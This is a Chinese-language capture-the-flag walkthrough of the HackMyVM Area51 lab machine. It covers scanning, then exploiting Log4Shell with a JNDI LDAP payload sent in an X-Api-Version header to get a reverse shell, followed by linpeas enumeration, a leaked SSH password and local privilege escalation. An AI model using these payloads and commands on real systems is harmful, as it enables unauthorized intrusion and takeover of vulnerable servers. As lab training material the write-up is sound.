靶机地址:https://hackmyvm.eu/machines/machine.php?vm=Area51
网盘链接:https://pan.baidu.com/s/1MYO7cEOg2xou1FrC40v6qg?pwd=ja7r
1、主机探活
arp-scan -I eth0 -l (指定网卡扫) 扫描局域网所有设备(所有设备IP、MAC地址、制造商信息)
masscan 192.168.111.0/24 -p 80,22 (masscan 扫描的网段 -p 扫描端口号)
netdiscover -i eth0 -r 192.168.184.0/24 (netdiscover -i 网卡-r 网段)
nmap -sn 192.168.111.0/24
2、端口扫描
nmap -sS -A -sV -T4 -p- 192.168.111.20
22—ssh—OpenSSH 8.4p1 Debian 5 (protocol 2.0)
80—http—Apache httpd 2.4.51 ((Debian))
8080—http—nagios-nsca Nagios NSCA
3、80端口分析
首页只有一个登录框,或许存在sql注入,或许存在弱口令,随便试了试弱口令和万能密码并未成功。那就做个目录扫描
gobuster dir -u “http://192.168.111.20/” -w /root/tools/directory-list-2.3-medium.txt -x php,html,txt,zip,bak
发现note.txt,访问出现如下
Alert!
We have a vulnerability in our java application…
Notify the programming department to check Log4J.
-Admin
提示log4j漏洞(这是去年爆出的一个十分轰动的漏洞,如果有不知道什么情况或者复现的师傅可以参考一下笔者之前学习大佬文章写的:http://www.xinza1.top/archives/408 、http://www.xinza1.top/archives/431 )
4、漏洞利用
1、poc下载:git clone https://github.com/kozmer/log4j-shell-poc.git
2、安装依赖:
cd log4j-shell-poc
python3 -m pip install -r requirements.txt
3、在kali机器中,log4j-shell-poc目录下必须有jdk1.8.0_20文件夹的java
(https://repo.huaweicloud.com/java/jdk/8u201-b09/jdk-8u201-linux-x64.tar.gz)
4、文件夹的名字和poc中的名字不一样,这个需要修改下文件夹名字:mv jdk1.8.0_321 jdk1.8.0_20
环境安装后准备攻击
1、攻击机监听9001端口:nc -lvvp 9001
2、执行poc:python3 poc.py --userip 10.0.0.3
3、执行payload:${jndi:ldap://192.168.111.7:1389/a}
发现在登录框执行payload不起作用
其他的moon、radar、video目录同样未检测到漏洞,想到之前端口扫描时还扫到了8080端口,访问看看
挺熟悉,是SpringBoot的报错。然后我尝试了很多地方都找不到payload点,找了很久发现了一篇国外的wp是这样解释的
Firstly, I was testing only on the “User-Agent” header for the exploit. However, it actually existed on the header “X-Api-Version”. I got this information from the website https://log4j-tester.trendmicro.com/. There are other tools that help us test for the exploit such as https://log4shell.tools.
所以我们要记住SpringBoot的log4j2漏洞payload验证是在"X-Api-Version"
curl http://192.168.111.20:8080/ -H 'X-Api-Version: ${jndi:ldap://192.168.111.7:1389/a}'
ok,成功得到了shell
发现是root权限,难度就这样结束了?找一下flag
不对劲,啥也没有,看一下端口
netstat -ntlp
只有一个端口,估计是虚拟机或docker里面,想办法逃逸
5、咱很懒,直接上传辅助脚本检查工具(这个脚本几乎可以列出所有可能提权的东西。用来进行信息收集,挺好用的)
wget http://192.168.111.7/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
一般情况下可以这样使用:./linpeas.sh | tee linpeas.out | more
发现一个隐藏文件,打开看看
cat /var/tmp/.roger
–> b3st4l13n
拿到一段字符串,猜测是roger的密码,尝试SSH登录
ssh roger@192.168.111.20
输入上面的字符串后,出现your input,也不知道是啥,随便输也没用,但是ctrl+c就发现登录成功了
6、尝试提权,可以直接上辅助提权脚本,也可以先尝试提权三件套试一试
sudo -l
find / -perm -u=s -type f 2>/dev/null
crontab -l
哦豁,老朋友,直接上传exp尝试提权(这个前段时间爆出的linux通杀本地提权漏洞,不了解的师傅可以参考一下这篇复现:(http://www.xinza1.top/archives/789)
成功拿到root权限
完结散花~
参考:https://mp.weixin.qq.com/s/7Ipr_7n–IqTMj_Gd0BQ2g
https://nepcodex.com/2022/01/area51-writeup-log4shell-hackmyvm/